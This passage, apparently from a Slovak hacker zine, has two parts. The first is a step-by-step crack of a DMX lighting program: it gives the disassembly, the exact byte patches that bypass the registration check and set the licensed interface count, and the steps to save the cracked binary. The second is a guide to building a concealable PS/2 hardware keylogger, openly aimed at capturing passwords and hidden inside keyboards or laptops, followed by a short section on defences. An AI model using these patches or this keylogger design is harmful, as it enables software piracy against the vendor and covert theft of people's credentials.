<sl.GetBindingkeyDetail (0008: E8) > 0073D206 . 68 38D37300 PUSH sl.0073D338 ; ASCII "System will output to " 0073D20B . E8 80C3EEFF CALL sl.00629590 0073D210 . 8B40 18 MOV EAX,DWORD PTR DS:[EAX+18] 0073D213 . 8D55 BC LEA EDX,DWORD PTR SS:[EBP-44] 0073D216 . E8 95D3CCFF CALL <sl.@Sysutils@IntToStr$qqri 0010:Fi> 0073D21B . FF75 BC PUSH DWORD PTR SS:[EBP-44] 0073D21E . 68 58D37300 PUSH sl.0073D358 ; ASCII " DMX Universes" 0073D223 . 8D45 C0 LEA EAX,DWORD PTR SS:[EBP-40] 0073D226 . BA 03000000 MOV EDX,3 0073D22B . E8 9481CCFF CALL sl.004053C4 0073D230 . 8B55 C0 MOV EDX,DWORD PTR SS:[EBP-40] 0073D233 . 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 0073D236 . 8B80 14030000 MOV EAX,DWORD PTR DS:[EAX+314] 0073D23C . E8 93F0D3FF CALL <sl.GetBindingkeyDetail (0008: E8) > 0073D241 . EB 36 JMP SHORT sl.0073D279 0073D243 > 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 0073D246 . 8B80 0C030000 MOV EAX,DWORD PTR DS:[EAX+30C] 0073D24C . BA 70D37300 MOV EDX,sl.0073D370 ; ASCII "System is unregistered" 0073D251 . E8 7EF0D3FF CALL <sl.GetBindingkeyDetail (0008: E8) > 0073D256 . 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 0073D259 . 8B80 10030000 MOV EAX,DWORD PTR DS:[EAX+310] 0073D25F . BA 90D37300 MOV EDX,sl.0073D390 ; ASCII "No DMX output will be generated!" 0073D264 . E8 6BF0D3FF CALL <sl.GetBindingkeyDetail (0008: E8) >Zaujimat nas bude podmieneny test na zaciatku, lebo ten rozhoduje, ci ide o plnu verziu softwaru, alebo nie. Testuje sa subregister AL. Tesne pred testovanim sa teda zavola funkcia na 006295D8. Ta nie je prave trivialna, jej zdrojak je zhruba takyto:
006295D8 /$ 55 PUSH EBP 006295D9 |. 8BEC MOV EBP,ESP 006295DB |. 83C4 E8 ADD ESP,-18 006295DE |. 53 PUSH EBX 006295DF |. 8945 FC MOV DWORD PTR SS:[EBP-4],EAX 006295E2 |. C645 FB 00 MOV BYTE PTR SS:[EBP-5],0 006295E6 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 006295E9 |. 33D2 XOR EDX,EDX 006295EB 8950 18 MOV DWORD PTR DS:[EAX+18],EDX 006295EE 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 006295F1 33D2 XOR EDX,EDX 006295F3 |. 8950 1C MOV DWORD PTR DS:[EAX+1C],EDX 006295F6 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 006295F9 |. C740 20 650000>MOV DWORD PTR DS:[EAX+20],65 00629600 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 00629603 |. 33D2 XOR EDX,EDX 00629605 |. 8950 28 MOV DWORD PTR DS:[EAX+28],EDX 00629608 |. 8950 2C MOV DWORD PTR DS:[EAX+2C],EDX 0062960B |. B2 01 MOV DL,1 0062960D |. A1 9CF55800 MOV EAX,DWORD PTR DS:[58F59C] 00629612 |. E8 8D60F6FF CALL sl.0058F6A4 00629617 |. 8BD8 MOV EBX,EAX 00629619 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 0062961C |. 8958 14 MOV DWORD PTR DS:[EAX+14],EBX 0062961F |. 33C0 XOR EAX,EAX 00629621 |. 55 PUSH EBP 00629622 |. 68 D7966200 PUSH sl.006296D7 00629627 |. 64:FF30 PUSH DWORD PTR FS:[EAX] 0062962A |. 64:8920 MOV DWORD PTR FS:[EAX],ESP 0062962D |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 00629630 |. 8B50 0C MOV EDX,DWORD PTR DS:[EAX+C] 00629633 |. 8BC3 MOV EAX,EBX 00629635 |. E8 B66EF6FF CALL <sl.@Listactns@TListControlItem@Set> 0062963A |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 0062963D |. 8B50 08 MOV EDX,DWORD PTR DS:[EAX+8] 00629640 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 00629643 |. 8B40 14 MOV EAX,DWORD PTR DS:[EAX+14] 00629646 |. E8 916EF6FF CALL sl.005904DC 0062964B |. 8D45 EC LEA EAX,DWORD PTR SS:[EBP-14] 0062964E |. 50 PUSH EAX 0062964F |. 8D45 E8 LEA EAX,DWORD PTR SS:[EBP-18] 00629652 |. 50 PUSH EAX 00629653 |. 8D4D F0 LEA ECX,DWORD PTR SS:[EBP-10] 00629656 |. 8D55 F4 LEA EDX,DWORD PTR SS:[EBP-C] 00629659 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 0062965C |. 8B40 14 MOV EAX,DWORD PTR DS:[EAX+14] 0062965F |. E8 7C60F6FF CALL sl.0058F6E0 00629664 |. 84C0 TEST AL,AL 00629666 |. 74 4E JE SHORT sl.006296B6 00629668 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 0062966B |. 8B55 EC MOV EDX,DWORD PTR SS:[EBP-14] 0062966E |. 8950 18 MOV DWORD PTR DS:[EAX+18],EDX 00629671 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 00629674 |. 8B55 F4 MOV EDX,DWORD PTR SS:[EBP-C] 00629677 |. 8950 1C MOV DWORD PTR DS:[EAX+1C],EDX 0062967A |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 0062967D |. 8B55 F0 MOV EDX,DWORD PTR SS:[EBP-10] 00629680 |. 8950 20 MOV DWORD PTR DS:[EAX+20],EDX 00629683 |. DB45 E8 FILD DWORD PTR SS:[EBP-18] 00629686 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 00629689 |. DD58 28 FSTP QWORD PTR DS:[EAX+28] 0062968C |. 9B WAIT 0062968D |. C645 FB 01 MOV BYTE PTR SS:[EBP-5],1 00629691 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 00629694 |. DD40 28 FLD QWORD PTR DS:[EAX+28] 00629697 |. D81D E8966200 FCOMP DWORD PTR DS:[6296E8] 0062969D |. DFE0 FSTSW AX 0062969F |. 9E SAHF 006296A0 |. 76 14 JBE SHORT sl.006296B6 006296A2 |. E8 C135DEFF CALL <sl.@Sysutils@Now$qqrv> 006296A7 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 006296AA |. DC58 28 FCOMP QWORD PTR DS:[EAX+28] 006296AD |. DFE0 FSTSW AX 006296AF |. 9E SAHF 006296B0 |. 76 04 JBE SHORT sl.006296B6 006296B2 |. C645 FB 00 MOV BYTE PTR SS:[EBP-5],0 006296B6 |> 33C0 XOR EAX,EAX 006296B8 |. 5A POP EDX 006296B9 |. 59 POP ECX 006296BA |. 59 POP ECX 006296BB |. 64:8910 MOV DWORD PTR FS:[EAX],EDX 006296BE |. 68 DE966200 PUSH sl.006296DE 006296C3 |> 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 006296C6 |. 8B40 14 MOV EAX,DWORD PTR DS:[EAX+14] 006296C9 |. E8 62AADDFF CALL <sl.@System@TObject@Free$qqrv> 006296CE |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 006296D1 |. 33D2 XOR EDX,EDX 006296D3 |. 8950 14 MOV DWORD PTR DS:[EAX+14],EDX 006296D6 . C3 RETN 006296D7 .^E9 E8B1DDFF JMP sl.004048C4 006296DC .^EB E5 JMP SHORT sl.006296C3 006296DE 8A45 FB MOV AL,BYTE PTR SS:[EBP-5] 006296E1 . 5B POP EBX 006296E2 . 8BE5 MOV ESP,EBP 006296E4 . 5D POP EBP 006296E5 . C3 RETNFunkcia je to pomerne komplikovana, dokonca upravuje stack na inu navratovu adresu a prvy return teda nie vzdy vrati beh programu, ale iba skoci na nejake ine miesto vo funkcii. Situacia je ale zaujimava pred poslednym returnom.
Do AL sa nam zapise nejaka hodnota z pamate a este sa nieco pomeni s base registrom a base pointrom. Ak si dobre pamatame, tak AL sa nam bude v zapati testovat a pocas krokovania sa nam na instrukcii 0066296DE vynuluje. Skusime teda zapisat tam natvrdo nejaku inu hodnotu (napriklad 1). Kod sa nam teda zmeni na:
006296DE B0 01 MOV AL,1 006296E0 90 NOP 006296E1 . 5B POP EBX ; 00ED0D20 006296E2 . 8BE5 MOV ESP,EBP 006296E4 . 5D POP EBP 006296E5 . C3 RETNNo a mozme zacat skusat, ako sa nam zmenilo spravanie programu. Ked program restartujeme, je vzdy potrebne nami vykonane zmeny patchnut do kodu vyvolanim okna patches a aplikovanim jednotlivych “zaplat”. Program nam o5 zastane na nasom breakpointe, ten uz mozme odstranit a nechame ho bezat dalej. Okamzite nas prekvapi absencia ziadosti o registraciu a rovnako software sa uz tvari ako zaregistrovany. Prva cast roboty je teda za nami.
Z navrhu softwaru vyplyva, ze nie je podstatna len edicia (ktoru mame momentalne profesional), ale aj pocet zaregistrovanych interfacov, ktory mame stale 0, teda program by bol nepouzitelny. Naspat do about okna, kde sa vypisuje pocet interfacov, vyhladat string a dostavame sa do casti kodu:
0073D206 . 68 38D37300 PUSH sl.0073D338 ; ASCII "System will output to " 0073D20B . E8 80C3EEFF CALL sl.00629590 0073D210 . 8B40 18 MOV EAX,DWORD PTR DS:[EAX+18] 0073D213 . 8D55 BC LEA EDX,DWORD PTR SS:[EBP-44] 0073D216 . E8 95D3CCFF CALL <sl.@Sysutils@IntToStr$qqri 0010:Fi> 0073D21B . FF75 BC PUSH DWORD PTR SS:[EBP-44] 0073D21E . 68 58D37300 PUSH sl.0073D358 ; ASCII " DMX Universes"Tu sa nam hodilo mat natiahnute signatury delphi, a vidime, ze funkcia volana na 0073D216 je obycajny IntToStr a teda s ochranou vela spolocneho nema (zabezpecuje len, aby sa v about okne vypisal pocet interfacov – lebo vypis je tam string). Zo zoznamu kandidatov este vyhodime instrukciu LEA, lebo ta nam len loadne efektivnu adresu a ostavaju nam dvaja horuci kandidati. Procedura 00629590 a instrukcia MOV. Opat nastavime breakpoint na 0073D206 a budeme postupne krokovat, aby sme videli, ci sa nasa nula (ako pocet interfacov) neobjavi niekde v registroch.
EAX sa nam vynuluje az pod instrukcii MOV. Z toho mozme predpokladat, ze pocet zaregistrovanych interfacov je na adrese, z ktorej sa to do EAX prenesie. Konkretne je to adresa DS:[00ED0D38]. Tu si nechame zobrazit v dumpe (right click -> follow in dump -> memory address) a skusime do nej zapisat nejaku hodnotu (kedze architektura x86 pouziva little endian, tak zapiseme hodnotu do prveho bajtu a dame tam napriklad 01) a nechame program dalej bezat (F9). System nam zrazu vypisuje pocet interfacov rovny 1, teda adresa je spravna, otazne je, ako tam tu hodnotu zapisat vzdy pri spusteni programu.
Maly problem je, ze tato cast pamate je dynamicky alokovana a teda sa neda upravovat, ked program nebezi. Nastastie je proces alokovania pamati pri starte programu vzdy rovnaky, a teda mozme predpokladat, ze adresa sa pri dalsom behu programu nezmeni. Problem s alokaciou az za behu vyriesime tak, ze nechame program urobit par operacii a breakneme ho napriklad, ked bude nacitavat hodnoty zo systemoveho registra (tie koniec koncov potrebuje aj na vypocet licencie zo serioveho cisla.) Najskor si vypiseme vsetky funkcie systemu, ktore program pouziva (rightclick -> search for -> all intermodular calls). Zaujima nas konkretne volanie ADVAPI32.RegQueryValueExA, takze si ho oznacime na breakovanie (rightclick -> set breakpoint on every call…) a restartujeme program.
Pri breaku na prvej funkcii nacitania z registra si nechame zobrazit image pamate a najdeme sektor, v ktorom je adresa 00ED0D38 a oznacime na nej break pri zapise (right click -> breakpoint -> memory on write). Po par breakoch na RegQueryValueExA nam konecne breakne na memory operacii:
006295EB |. 8950 18 MOV DWORD PTR DS:[EAX+18],EDXTeda na nasu adresu nam zapise aktualnu hodnotu registra EDX, co je ocakavana nula (hodnota pravdepodobne vypocitana z nespravneho registracneho cisla). Takze namiesto kopirovania hodnoty z EDX pouzijeme priamu hodnotu, napriklad 10 (sestnastkovo 0A). Vysledny kod teda bude:
006295EB C740 18 000000>MOV DWORD PTR DS:[EAX+18],0A 006295F2 90 NOPProgram opat zrestartujeme a aplikujeme oba nase patche.
Teraz, ked uz vsetko bezi, ako ma, vyrobime len vyslednu binarku. Opat restartneme program a opatchujeme. Teraz rightclick -> Copy to executable -> all modifications. To nam zobrazi dump nasej novej binarky, tu uz len ulozime (rightclick -> save file).
Tuto novu binarku uz len otestujeme mimo debuggera a zistime, ze vsetky funkcie su spristupnene ako v plnej verzii.
Prijemne chvile pri crackovani inych programcekov praje awk.
navrat na obsah
co ty na to ? board
^ 6 5 4 4 > 2 1 < 1 DATA (data line) 2 nic 3 GND 4 +5V 5 CLK (clock line, "nosna") 6 nic(teda, to je popis konektoru veduceho z klavesnice, port v motherboarde bude logicky opacny)
Pracuje sa s 0V-5V logikou, frekvencia moze byt v zavislosti od vyrobcu 10-30 Khz, jeden poslany blok dat ma velkost 11 bitov – start bit (0), 1 byte v little endiane, teda najmenej vyznamny bit ide prvy, 1 bit neparnej parity a stop bit (1).
Data sa posielaju po DATA lajne, po CLK lajne sa prenasa synchronizacny “nosny” signal, bit na DATA lajne sa precita vzdy s padajucou hranou CLK, (tj. pri prechode z 5 na 0 na CLK).
Protokol pouzivany pri vymene informacii medzi klavesnicou a pocitacom je kapitola sama o sebe. Prva “zrada” je, ze je obojsmerny, tj. klavesnica posiela data pocitacu (typicky stlacene klavesy), ale obcas potrebuje aj pocitac nieco posepkat klavesnici (zapni si capslock, resetuj sa, posli mi to znova…). V takom pripade stiahne dole CLK lajnu na viac ako 60 mikrosekund, klavesnica pochopi ze uz nehovori ona, ale ma pocuvat, a tak pocuva. To sa nam bude v nasom keyloggeri pomerne blbo osetrovat, a tak sa radsej budeme hrat na kapra, a takuto udalost ignorovat.
Druhou zradou su scankody. Klavesnica ma typicky do 110 znakov, niektore s tlacitkami typu “uvar mi caj”,”spusti mi kalkulacku” mozno tak max. 150. 1 byte, ktory sa posiela v jednom bloku dat, moze niest 2^8=256 hodnot. Jedinec idealista by povedal, ze tak kazda klavesa dostane jednu hodnotu, a vybavene. Houby. Niektore klavesy su tzv. “specialne” a najprv sa posle hodnota “E0” (v hexa), a az potom samotny scankod klavesy, ktory vsak nemusi byt nutne unikatny, tj. rovnaky scankod moze exitovat aj pre nespecialnu klavesu. Ehm. Ale to nie je vsetko mili priatelia, navyse zadarmo dostanete aj klavesy, ktore produkuju smrst 4, ba i 8 byteov. Mozeme sa to pokusit zvalit na historicky vyvoj, pridavanie klaves a spa:tnu kompatibilitu, a mozme si z toho zaroven urobit nazorny priklad sialene navrhnuteho protokolu;) My budeme specialne klavesy cielene nelogovat, a dlhsie smrste ignorovat. Akekolvek pripadne neskor pridane klavesy by mali byt minimalne specialne.
Scankody pouzivane v AT protokole nemaju nic spolocne s ascii scankodmi. Keby sme ich chceli medzi sebou prevadzat, museli by sme pouzit tabulku, ziadna zavislost neexistuje.
,-------,---,---,---,---,,---,---,---,---,,---,---,---,---, ,-----,-----,-----, |ESC |F1 |F2 |F3 |F4 ||F5 |F6 |F7 |F8 ||F9 |F10|F11|F12| |PSCRN|SLOCK|BREAK| |110 |112|113|114|115||116|117|118|119||120|121|122|123| |124 |125 |126 | '-------'---'---'---'---''---'---'---'---''---'---'---'---' '-----'-----'-----' ,---,---,---,---,---,---,---,---,---,---,---,---,---,-----, ,-----,-----,-----, ,-----,-----,-----,-----, |~ |1 |2 |3 |4 |5 |6 |7 |8 |9 |0 |- |= |<- | |INS |HOME |PGUP | |NLOCK|/ |* |- | |1 |2 |3 |4 |5 |6 |7 |8 |9 |10 |11 |12 |13 |15 | |75 |80 |85 | |90 |95 |100 |105 | |---',--',--',--',--',--',--',--',--',--',--',--',--',----| |-----|-----|-----| |-----|-----|-----|-----| |TAB |Q |W |E |R |T |Y |U |I |O |P |[ |] | | |DEL |END |PGDN | |7 |8 |9 |+ | |16 |17 |18 |19 |20 |21 |22 |23 |24 |25 |26 |27 |28 |29 | |76 |81 |86 | |91 |96 |101 |106 | |----',--',--',--',--',--',--',--',--',--',--',--',--'----| '-----'-----'-----' |-----|-----|-----|-----| |CAPS |A |S |D |F |G |H |J |K |L |; |, |ENTER | |4 |5 |6 | | |30 |31 |32 |33 |34 |35 |36 |37 |38 |39 |40 |41 |43 | |92 |97 |102 | | |-----',--',--',--',--',--',--',--',--',--',--',----------| ,-----, |-----|-----|-----|-----| |SHIFT |Z |X |C |V |B |N |M |, |. |/ |SHIFT | |UP | |1 |2 |3 |ENTER| |44 |46 |47 |48 |49 |50 |51 |52 |53 |54 |55 |57 | |83 | |93 |98 |103 |108 | |----,-',--'--,'---'---'---'---'---'---'--,'--,'-----,----| ,-----|-----|-----, |-----------|-----| | |CTRL| |ALT | SPACE |ALT| |CTRL| |LEFT |DOWN |RIGHT| |0 |. | | |58 | |60 | 61 |62 | |64 | |79 |84 |89 | |99 |104 | | '----'--'-----'---------------------------'---'------'----' '-----'-----'-----' '-----------'-----'-----' ,---,-----, ,---,-----, ,---,-----, ,---,-----, ,---,-----, ,---,-----, ,---,-----, ,---,-----, |KEY|AT | |KEY|AT | |KEY|AT | |KEY|AT | |KEY|AT | |KEY|AT | |KEY|AT | |KEY|AT | |# |(HEX)| |# |(HEX)| |# |(HEX)| |# |(HEX)| |# |(HEX)| |# |(HEX)| |# |(HEX)| |# |(HEX)| |---|-----| |---|-----| |---|-----| |---|-----| |---|-----| |---|-----| |---|-----| |---|-----| |1 |0E | |2 |16 | |3 |1E | |4 |26 | |5 |26 | |6 |25 | |7 |2E | |8 |36 | |9 |3D | |10 |46 | |11 |45 | |12 |4E | |13 |55 | |14 |-- | |15 |66 | |16 |0D | |17 |15 | |18 |1D | |19 |24 | |20 |2D | |21 |2C | |22 |35 | |23 |3C | |24 |43 | |25 |44 | |26 |4D | |27 |54 | |28 |5B | |29 |5D | |30 |58 | |31 |1C | |32 |1B | |33 |23 | |34 |2B | |35 |34 | |36 |33 | |37 |3B | |38 |42 | |39 |4B | |40 |4C | |41 |52 | |42 |-- | |43 |5A | |44 |12 | |45 |-- | |46 |1A | |47 |22 | |48 |21 | |49 |2A | |50 |32 | |51 |31 | |52 |3A | |53 |41 | |54 |49 | |55 |4A | |56 |-- | |57 |59 | |58 |14 | |59 |-- | |60 |11 | |61 |29 | |62 |E011 | |63 |-- | |64 |E014 | |65 |-- | |66 |-- | |67 |-- | |68 |-- | |69 |-- | |70 |-- | |71 |-- | |72 |-- | |73 |-- | |74 |-- | |75 |E070 | |76 |E071 | |77 |-- | |78 |-- | |79 |E06B | |80 |E06C | |81 |E069 | |82 |-- | |83 |E075 | |84 |E072 | |85 |E07D | |86 |E07A | |87 |-- | |88 |-- | |89 |E074 | |90 |77 | |91 |6C | |92 |6B | |93 |69 | |94 |-- | |95 |E04A | |96 |75 | |97 |73 | |98 |72 | |99 |70 | |100|7C | |101|7D | |102|74 | |103|7A | |104|71 | |105|7B | |106|79 | |107|-- | |108|E05A | |109|-- | |110|76 | |111|-- | |112|05 | |113|06 | |114|04 | |115|0C | |116|03 | |117|0B | |118|83 | |119|0A | |120|01 | |121|09 | |122|78 | |123|07 | |124|**1 | |125|7E | |126|**2 | |127|-- | |128|-- | '---'-----' '---'-----' ----'-----' ----'-----' '---'-----' '---'-----' ----'-----' ----'-----' **1 = E012E07C **2 = E11477E1F014F077Ako ste si iste vsimli, scancody su rozhadzane bez zmysluplnejsej logiky (teda pre nas, oni tak su kvoli stvorcovej sieti vodicov v klavesnici, aspon tej povodnej;)), co z toho pre nas vyplyva si nechame na neskor.
__ __ __ __ __ __ __ __ | Clock | | | | | | | | | | | | | | |_________| |_____| |_____| |_____| |_____| |_____| |_____| |_____ | | | | | | | | ___________________________________________________________________________ / / / / / / Data start X 0 X 1 X .. X 7 X Parita X Stop ______/_______/_______/_______/_______/_______/__________Klavesnica posle start-bit(0), potom scankod klavesy, potom paritny bit a stop bit(1). To sa stane ked klavesu stlacime. V pripade ze je scankod viacbajtovy, posiela sa sa viac krat cely blok(11bitov). Ked klavesu pustime, posle sa scankod “F0”, ktory znaci release, a potom scankod klavesy ktora bola pustena. Samozrejme aj toto ma vynimku, a pri pusteni specialnej klavesy sa najprv posle “Special” byte “E0”, a potom “F0” a az potom samotny scankod. Nehorazne prakticke;)
Ked chce posielat data host klavesnici, stiahne CLK lajnu dole na aspon 60 mikrosekund (typicky dvojnasobok casu, ktory by mu zabral jeden bit na CLK), a potom, ak klavesnica akceptovala jeho prerusenie zacne posielat data. Najdolezitejsie takto posielane veci su stav capsloku a numlocku, a hlavne ziadost o znovuposlanie scankodu (+pripadne reset,…). Nas, teda keylogger bude aktivne zaujimat iba keyboard to host prenos dat.
AT protokol je este hodne rozvetvenejsi, s roznymi vynimkami, ale tie budeme pre nase potreby ignorovat.
Nasa hracka sa teda bude napajat priamo z napajania klavesnice. Budeme pocuvat na CLK lajne, a v momente ked chytime padajucu hranu, vypocujeme si cely blok. Ten potom dalej spracujeme, a pripadny vysledok ulozime. Teda budeme potrebovat mikroprocesor, eeprom pama:t na ukladanie dat, + nejake tie pomocne suciastky.
Prax
Takze, ako na to? Budeme vychadzat z uz hotoveho projektu, tu [1] sa da najst navod ako vyrobit jednoduchy hw keylogger. Zariadenie tu popisane prinutime vypluvat znaky odpojenim klavesnice a stlacenim specialneho tlacitka na nom. Pre nase potreby pomerne neprakticke, radsej by sme ho predsa len aktivovali heslom, tym ziskame moznost zabudovat ho dovnutra do klavesnice, a nebyt pritom fyzicky viditelny. Dalej, na to aby sme boli data z neho schopny precitat potrebujeme specialnu aplikaciu (ktoru si navyse musime napisat, pretoze autori maju iba windowsoidnu). To sa nam tiez nepaci, najradsej by sme boli, keby to nasa hracka vedela vypluvat priamo do textaku. Takze som zobral ich verziu, a upravil ju k obrazu svojmu. Moju verziu mozme najst na [2]. Je prepisana do trochu inej syntaxe assembleru, s ktorou pracuje mnou pouzivany [4]. Bezi pod dosom, a v dosboxe s nim nie su problemy. Trochu bolo potrebne upravit aj schemu zapojenia, nova je tu [3]. Moja verzia este nie je uplne dokonala, chybajuce veci a bugy su vypisane na zaciatku zdrojaku.
Danou za to, ze prisafka vypluva data priamo do textaku je potreba odfiltrovat vsetky “special” klavesy, + shift, alt, atd… skratka budem vypluvat iba bezpecne znaky, ktore mi nijak nerozhodia terminal. Backspace interpretujem specialne ako b. Ono na bezne ucely (ehm, samozrejme vas autor tohto clanku nechce ani omylom naviest na nic nelegalne, ale keby ste to cisto teoreticky povazovali za bezny ucel), tj. odchytavanie hesiel, to plne postacuje, setri to kapacitu eepromky (napr. naco nam je logovanie sipiek nejakeho forbesaka?), a v pripade ze by sme chceli kompletne vsetky klavesy stlacene, ctenemu citatelovi nebude robit problem si prisafku jednoducho upravit.
Zdrojovy kod v assembleri sem pastovat nebudem, ani ho popisovat, je okomentovany, a dufam ze samovysvetlujuci. Miesto toho sa este pozrieme na u nas prakticky zohnatelne suciastky:
EEPROMKA sa da zohnat max. 512Kbit, (=. 64 000 stlacenych “normalnych” znakov) co je cca 26 hodin pri pisani 100 znakov za minutu, nam pri “beznom” userovi vydrzi kludne na tyzden, pripadne aj na (hodne) viac… Ak by sme chceli pouzit vacsiu (a niekde, napr. zo zahranicia by sme ju splasili), musime prepisat nas kod, pretoze 512KB este mozme odresovat 16bitmi, ale na viac uz potrebujeme byty aspon 3. Ale samozrejme ked budeme nutne potrebovat kapacitu, tak sa to da…
Ostatne suciastky, pripadne velmi podobne ekvivalenty su lahko zohnatelne. Problem nastava s programatorom. Ten si je najlepsie, pokial mame moznost, od niekoho pozicat. (teda najlepsie je mat vlastny;) Ked nemame kde pozicat, mozeme si ho (ak mame cas) zbastlit napr. podla [5], pripadne si objednat nejaky lacnejsi (napr. ja pouzivam [6], jediny problem ze ma ovladace len pod widle). Celkove je pri programovani mikprocesorov dost problem s unixami, pretoze vacsina cenovo dostupnych amaterskych veci je ciste windowsna, v lepsom pripade dosova. (simulatory, programatory, kompilatory..) Prinajhorsom pouzijeme qemu ci wine.
Ked uz mame naprogramovany chip, tak to cele zbastlime dokopy, na prvu verziu odporucam nechat si HODNE miesta medzi kontaktmi, aby ste predisli pripadnemu skratovaniu, hlavne ak nemate s pajkovanim prilis velke skusenosti. Ked bude vsetko fungovat, mozeme zacat miniaturizovat…
Vychytavky
Relativnym problemom je vyplutie celej eepromky do pocitaca, kedze to trva pri 512Kb EEpromke cca 20 minut. Pri USB aj wireless verzii by tento problem odpadol.
Keby sme sa chceli hrat na velmi tajnych, mali by sme cele zariadenie dokladne odtienit, pretoze ficime na 12Mhz, a standardny klavesnicovy kontroler iba na 4Mhz. To by nas teoreticky mohlo odhalit, v praxi ale budeme dost radi, ked nas zacnu trapit taketo problemy;)
Problemom je aj to, ze ignorujeme opravny protokol klavesnice, obcas, VELMI zriedka pri zdravej klavesnici sa nieco pokasle(napr. parita nesedi), a nastane tento pripad. V praxi to byva naozaj velmi zriedka. Ale su klavesnice, napr. ja som svoju prisafku na takej testoval, ktore maju jednu klavesu choru. (pripadne i viac) Uzivatel si to nestihne vsimnut, ale skoro vzdy ked sa klavesa stlaci, pocitac nerozmie, pripadne este raz, a az a treti(stvrty..) pokus sa prenos podari. Nam to vsak sposobuje hnusne problemy, lebo chvilu trva, kym potom znova chytime clock, teda mame parklavesove “okno”. Tento problem bude treba v programe osetrit, ale je to pomerne hnusne a komplikovane, cim nepriamo davam do plena, keby sa niekomu chcelo…;)
Cele by to fyzicky mohlo vyzerat takto [9] (pokusna verzia), alebo takto [10] (trocha zkompaktnene). Ta pokusna verzia je zbastlena vlastne podla uz spominaneho navodu [1], pri tej druhej je to napchane do standardnych PS/2 konektorov.
Ochrana
Ako sa proti hw keyloggerom branit? Tazko;) Podla pomerne pochybneho vyskumu [7] je prud odoberany nasou hrackou prilis maly, nez aby sa dal zachytit senzormi na motherboarde. Pokial nespravime chybu v spracovavani a filtrovani vstupu v nasej hracke, tak ani nijakymi divocinami posielanymi z pocitaca to nezistime. Pri rozumne dlhom a nahodnom hesle odpada aj moznost prist na keylogger nahodou.
Ak je keylogger strceny medzi pocitac a kabel, mozeme ho samozrejeme najst fyzicky, ale co ak je vnutri v klavesnici? Pripadne na motherboarde? Rozoberiete kazdu klavesnicu ku ktorej si sadnete? Nezoberu vas skor do Bohnic? Klawiature skratka nemozno verit…
Nudzovym riesenim, ak mame podozrenie ze dany pocitac nie je cisty, (pripadne ak to vieme iste;) je pouzit mys, a heslo si vycopy&pastovat. Uzite si 23znakove “bezpecne” heslo. Ale ked sa inak neda..
Systemovym, a lepsim riesenim je nepouzivat iba identifikaciu heslom, ale pouzivat bud token, alebo aspon sukromny kluc. Pichnut usb flash, a pouzit tam ulozeny sukromny kluc je rozhodne ovela lepsim riesenim, a aj prakticky pouzitelnym. Samotne heslo skratka v dnesnej dobe (teda ak nesedite v zabetovanom a zabezpecenom bunkri) nestaci. Uplne najidealnejsie by bolo pouzivat nejaku smartkartu, ktora na zaklade vnutri ulozeneho sukromneho kluca vygeneruje jednorazovy autorizacny kluc, ale to je vec pomerne draha, ak nepracujete s skutocne cennymi informaciami, tak usb flash s sukromnym klucom plne postaci. (a ak s nimi pracujete, potom smartkartu uz aj tak pouzivate;)
Vyssia liga, stay tuned
Toto vsetko si je v domackych podmienkach schopny zbastlit prakticky kazdy so zakladnymi znalostami elektroniky. Vysledne zariadenie vyzera ako podivna redukcia, a pred laikom je mozno utajitelna. Ked mate mikropajku, pevne ruky a pristup k suciastkam, dokazete urobit verziu z SMD suciastiek, ktora uz bude vyzerat ako pomerne mala, nenapadna redukcia. Pripadne ju lahko schovate do klavesnice, a napr. aj dovnutra notebooku, kde sa na 99% pouziva v sucasnosti ps/2 klavesnica. (akurat nema ps/2 konektor, ale 6 dratikov ide vedla seba). Pomerne nebezpecne, ale…
ale…
ale co dokaze spravit clovek, ktory je schopnejsi ako ja, ma cas, peniaze, pristup k suciastkam,je plateny iba za cielom spravit co najdokonalejsie zariadenie? Navyse ak takych ludi date viac na kopu? S cim disponuju najroznejsie tajne sluzby? Z toho co som nasiel na nete (do ruky sa mi bohuzial nedostali) su dostupne keyloggere tak male, ze ani nevycnievaju z ps/2 portu, tj. zasuniete ich dnu, po nich aj ps/2 konektor, ktory bude tak o 2 milimetre trcat, ale to je vsetko. vsimne si niekto nieco take?;) Pokial presne nevie co hlada, skutocne tazko.
Zvyknu sa navyse pouzivat wireless keyloggere, takze parchant sa uz na miesto cinu vratit nemusi, a iba harvestruje data. Okrem toho sa hovori o inych, ovela zakernejsich metodach, od infracervenych kamier velkosti spendlikovej hlavicky, ktore snimaju teplotu klaves, a z toho usudzuju co bolo stlacene, cez malicke plostice, ktore su po “nauceni” sa zvuku klaves schopne jednotlive klavesy rozlisovat, cez kamery klasicke….
Tato fronta je voci tajnym sluzbam a im podobnym skutocne naplno prehrata, pretoze amater sa k potrebnym technologiam proste nedostane. Stay tuned…;)
Vizie;)
Inu, takze co sme schopni s nasim amaterskym pristupom z prisafky este vymlatit?
Mozeme zaviest sifrovanie dat v eepromke, otazkou ostava naco? Aj ked su data v eeprome sifrovane, ak je utocnik dostatocne schopny, proste si zbrusi chip a precita odtial kluc … navyse osmibitove procesory dnes typicky ponukaju iba 64 bitovy DES (v praxi 56), co v pripade schopneho nepriatela je mozno zdrzanie, ale rozhodne nie ochrana.
Mozeme spravit verziu na USB klavesnicu. Tam bude situacia prakticky rovnaka, iba prisafka bude narocnejsia na suciastky a rychlost, ale principy ostavaju. Protokol je sice trocha iny, ale zdokumentovany a je to predsa iba hranie sa s vstupom,nie?;)
